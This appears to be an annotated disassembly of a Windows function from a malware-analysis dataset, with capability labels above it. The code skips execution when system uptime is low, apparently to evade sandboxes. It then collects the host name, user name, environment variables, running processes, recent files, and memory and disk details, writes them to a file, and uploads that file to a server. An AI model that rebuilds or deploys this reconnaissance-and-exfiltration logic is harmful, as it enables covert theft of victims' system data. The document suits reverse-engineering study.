Function at 0x403cd0
Capabilities:
Enumerate files on windows
Enumerate process modules
Get common file path
Get disk size
Get hostname
Get memory capacity
Get session user name
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x17f4
call fcn.00407230
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x17f0], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0x2bf20
jb 0x404609
lea eax, [esp + 0x3c]
mov dword [esp + 0x3c], 0x10
push eax
lea eax, [esp + 0x12d4]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x403d54
push str.Failed_to_retrieve_computer_name._n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401040
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x17f0]
xor ecx, esp
call fcn.004062e5
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x12d0]
push eax
lea eax, [esp + 0x14ec]
push str._s.txt
push eax
call fcn.004010b0
add esp, 0xc
lea eax, [esp + 0x14e8]
push 0x4090f0
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov edi, eax
add esp, 8
mov dword [esp + 0x10], edi
test edi, edi
jne 0x403dc2
push str.Failed_to_open_file_for_writing._n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401040
add esp, 8
lea eax, [edi + 1]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x17f0]
xor ecx, esp
call fcn.004062e5
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x12e0]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ecx, eax
cmp ecx, 0x104
ja 0x403eb7
test ecx, ecx
je 0x403eb7
push 0x4084b0
lea eax, [esp + 0x12e4]
push 0x104
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
xorps xmm0, xmm0
mov dword [esp + 0x5c], 0
lea ecx, [esp + 0x12ec]
movaps xmmword [esp + 0x4c], xmm0
add esp, 0xc
mov dword [esp + 0x54], 0
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x403e30
sub ecx, edx
lea eax, [esp + 0x12e0]
sar ecx, 1
push ecx
push eax
lea ecx, [esp + 0x48]
call fcn.00405300
cmp dword [esp + 0x54], 7
lea ecx, [esp + 0x80]
lea eax, [esp + 0x40]
cmova eax, dword [esp + 0x40]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0x18], eax
cmp eax, 0xffffffff
jne 0x4044dd
mov ecx, dword [esp + 0x54]
cmp ecx, 7
jbe 0x403eb7
mov edx, dword [esp + 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403ead
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40454c
push ecx
push edx
call fcn.00406323
add esp, 8
push str.Failed_to_retrieve_temporary_file_count._n
push edi
call fcn.00401040
add esp, 8
push 0x13
xorps xmm0, xmm0
mov dword [esp + 0x54], 0
push str.C:WindowsTemp.
lea ecx, [esp + 0x48]
movaps xmmword [esp + 0x48], xmm0
mov dword [esp + 0x5c], 0
call fcn.00405300
cmp dword [esp + 0x54], 7
lea ecx, [esp + 0x80]
lea eax, [esp + 0x40]
cmova eax, dword [esp + 0x40]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0x18], eax
cmp eax, 0xffffffff
jne 0x404579
mov ecx, dword [esp + 0x54]
cmp ecx, 7
jbe 0x403f53
mov edx, dword [esp + 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403f49
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4045dc
push ecx
push edx
call fcn.00406323
add esp, 8
push str.Failed_to_retrieve_Windows_temporary_file_count._n
push edi
call fcn.00401040
add esp, 8
call fcn.00403160
push eax
push str.Number_of_items_on_desktop:__d_n
push edi
call fcn.00401040
add esp, 0xc
mov dword [esp + 0x18], 0x208
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x12e4]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [esp + 0x12e0]
push eax
push str.Username:__s_n
push edi
call fcn.00401010
add esp, 0xc
mov dword [esp + 0x1c], 0x10
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [esp + 0x40]
push eax
push str.Computer_name:__s_n
push edi
call fcn.00401010
add esp, 0xc
push str._nEnv_Information:_n
push edi
call fcn.00401040
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov dword [esp + 0x18], eax
mov esi, eax
cmp word [eax], 0
je 0x404023
push esi
push 0x408510
push edi
call fcn.00401010
mov eax, esi
add esp, 0xc
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404005
sub eax, edx
sar eax, 1
lea esi, [esi + eax*2]
add esi, 2
cmp word [esi], cx
jne 0x403ff1
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov ecx, edi
call fcn.00403580
push str._nProcess_Information:_n
push edi
call fcn.00401040
add esp, 8
lea eax, [esp + 0x1c]
push eax
push 0x1000
lea eax, [esp + 0x2d8]
push eax
call dword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x40415b
mov ecx, dword [esp + 0x1c]
xor eax, eax
shr ecx, 2
mov dword [esp + 0x28], ecx
mov dword [esp + 0x18], eax
test ecx, ecx
je 0x40415b
nop dword [eax + eax]
mov ecx, dword [esp + eax*4 + 0x2d0]
test ecx, ecx
je 0x40414c
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x404148
movups xmm0, xmmword [str._unknown_]
mov ecx, dword [0x408a60]
lea eax, [esp + 0x12f4]
push 0x1f4
push 0
push eax
movups xmmword [esp + 0x12ec], xmm0
mov dword [esp + 0x12fc], ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x20]
push eax
push 4
lea eax, [esp + 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x404109
push 0x208
lea eax, [esp + 0x12e4]
push eax
push dword [esp + 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameW]
push 0x104
lea eax, [esp + 0x84]
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
test eax, eax
je 0x404141
lea eax, [esp + 0x80]
push eax
lea eax, [esp + 0x12e4]
push eax
push str.Process_Name:__s__Process_Path:__s_n
push edi
call fcn.00401010
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x18]
inc eax
mov dword [esp + 0x18], eax
cmp eax, dword [esp + 0x28]
jb 0x404080
push str._nRecent_Files_Information:_n
push edi
call fcn.00401040
add esp, 8
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 0x408270
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x40423c
push dword [esp + 0x1c]
lea eax, [esp + 0x12e4]
push 0x104
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
add esp, 0xc
lea eax, [esp + 0x12e0]
push str..
push 0x104
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
add esp, 0xc
lea eax, [esp + 0x80]
push eax
lea eax, [esp + 0x12e4]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0x18], eax
cmp eax, 0xffffffff
je 0x404232
xor esi, esi
nop dword [eax + eax]
test byte [esp + 0x80], 0x10
jne 0x404204
lea eax, [esp + 0xac]
push eax
push str.Recent_File:__s_n
push edi
call fcn.00401010
mov eax, dword [esp + 0x24]
add esp, 0xc
lea ecx, [esp + 0x80]
inc esi
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
mov eax, dword [esp + 0x18]
jne 0x4041e0
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
push str.Number_of_Recent_Files:__d_n
push edi
call fcn.00401010
add esp, 0xc
push dword [esp + 0x1c]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
lea eax, [esp + 0x40]
mov dword [esp + 0x40], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
push str._nMemory_information:_n
push edi
call fcn.00401010
push dword [esp + 0x54]
push dword [esp + 0x54]
push str.__Total_physical_memory:__llu_bytes_n
push edi
call fcn.00401010
push dword [esp + 0x6c]
push dword [esp + 0x6c]
push str.__Available_physical_memory:__llu_bytes_n
push edi
call fcn.00401010
add esp, 0x28
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x30]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
push str._nDisk_space_information:_n
push edi
call fcn.00401010
push dword [esp + 0x2c]
push dword [esp + 0x2c]
push str.__Total_disk_space:__llu_bytes_n
push edi
call fcn.00401010
push dword [esp + 0x4c]
push dword [esp + 0x4c]
push str.__Total_free_disk_space:__llu_bytes_n
push edi
call fcn.00401010
add esp, 0x28
mov ecx, edi
call fcn.00403880
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
call esi
push edx
push eax
push str._nSystem_uptime:__llu_milliseconds_n
push edi
call fcn.00401010
add esp, 0x10
call esi
mov ecx, edx
mov edi, eax
mov edx, 0x1a9fbe77
mov dword [esp + 0x1c], ecx
mul edx
mov dword [esp + 0x18], edi
mov esi, edx
mov dword [esp + 0x20], eax
mov eax, edi
mov edx, 0x624dd2f
mul edx
mov edi, eax
mov dword [esp + 0x14], edx
mov eax, ecx
mov ecx, 0x1a9fbe77
mul ecx
mov dword [esp + 0x28], edx
mov ecx, eax
mov eax, dword [esp + 0x1c]
mov edx, 0x624dd2f
mul edx
add ecx, esi
mov dword [esp + 0x20], edx
mov edx, dword [esp + 0x28]
adc edx, 0
mov dword [esp + 0x30], eax
add edi, ecx
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x28], edi
adc ecx, 0
xor eax, eax
mov edi, dword [esp + 0x18]
add edx, ecx
mov ecx, dword [esp + 0x30]
push ebx
adc eax, eax
add ecx, edx
mov edx, dword [esp + 0x24]
adc edx, eax
sub edi, ecx
mov eax, dword [esp + 0x20]
sbb eax, edx
shrd edi, eax, 1
push 0
shr eax, 1
add edi, ecx
mov ecx, 0xabcdf013
adc eax, edx
shrd edi, eax, 9
push 0x3c
shr eax, 9
mov dword [esp + 0x28], eax
mov eax, edi
mul ecx
mov dword [esp + 0x24], edi
mov esi, edx
mov dword [esp + 0x2c], eax
mov eax, edi
mov edx, 0x23456789
mul edx
mov edi, eax
mov dword [esp + 0x3c], edx
mov eax, dword [esp + 0x28]
mul ecx
mov dword [esp + 0x2c], edx
mov ecx, eax
mov eax, dword [esp + 0x28]
mov edx, 0x23456789
mul edx
add ecx, esi
mov esi, dword [esp + 0x24]
mov dword [esp + 0x20], edx
mov edx, dword [esp + 0x2c]
adc edx, 0
mov dword [esp + 0x34], eax
add edi, ecx
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x2c], edi
adc ecx, 0
mov edi, dword [esp + 0x28]
xor eax, eax
add edx, ecx
mov ecx, dword [esp + 0x34]
adc eax, eax
add ecx, edx
mov edx, dword [esp + 0x20]
adc edx, eax
sub esi, ecx
sbb edi, edx
shrd esi, edi, 1
shr edi, 1
add esi, ecx
mov ecx, 0xe10
adc edi, edx
shrd esi, edi, 0xb
shr edi, 0xb
mov eax, edi
mov dword [esp + 0x2c], esi
mul ecx
mov edx, 0xe10
mov ecx, eax
mov eax, esi
mul edx
add ecx, edx
mov edx, dword [esp + 0x24]
sub edx, eax
mov eax, dword [esp + 0x28]
sbb eax, ecx
push eax
push edx
call fcn.00407190
mov esi, ebx
pop ebx
push esi
mov esi, dword [esp + 0x14]
push ecx
push edx
push eax
push edi
push dword [esp + 0x34]
push str._nSystem_uptime:__llu_hours___llu_minutes___llu_seconds_n
push esi
call fcn.00401010
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea ecx, [esp + 0x150c]
add esp, 0x24
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404470
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [esp + 0x14ec]
push eax
lea eax, [esp + 0x15f8]
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
add esp, 0xc
lea ecx, [esp + 0x15f0]
call fcn.00403a90
test eax, eax
jne 0x404621
push str.Failed_to_upload_file_to_server._n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401040
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x17f0]
xor ecx, esp
call fcn.004062e5
mov esp, ebp
pop ebp
ret
mov edi, dword [esp + 0x18]
xor esi, esi
nop dword [eax]
nop word [eax + eax]
test byte [esp + 0x80], 0x10
lea eax, [esi + 1]
cmovne eax, esi
mov esi, eax
lea eax, [esp + 0x80]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4044f0
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x54]
mov edi, dword [esp + 0x10]
cmp ecx, 7
jbe 0x40455c
mov edx, dword [esp + 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404552
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404552
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00406323
add esp, 8
cmp esi, 0xffffffff
je 0x403eb7
push esi
push str.Number_of_temporary_files:__d_n
push edi
call fcn.00401040
add esp, 0xc
jmp 0x403ec5
mov edi, dword [esp + 0x18]
xor esi, esi
nop
test byte [esp + 0x80], 0x10
lea eax, [esi + 1]
cmovne eax, esi
mov esi, eax
lea eax, [esp + 0x80]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404580
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x54]
mov edi, dword [esp + 0x10]
cmp ecx, 7
jbe 0x4045ec
mov edx, dword [esp + 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4045e2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4045e2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00406323
add esp, 8
cmp esi, 0xffffffff
je 0x403f53
push esi
push str.Number_of_Windows_temporary_files:__d_n
push edi
call fcn.00401040
add esp, 0xc
jmp 0x403f61
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00404cd0
push 0x404ee0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [esp + 0x17fc]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004062e5
mov esp, ebp
pop ebp
ret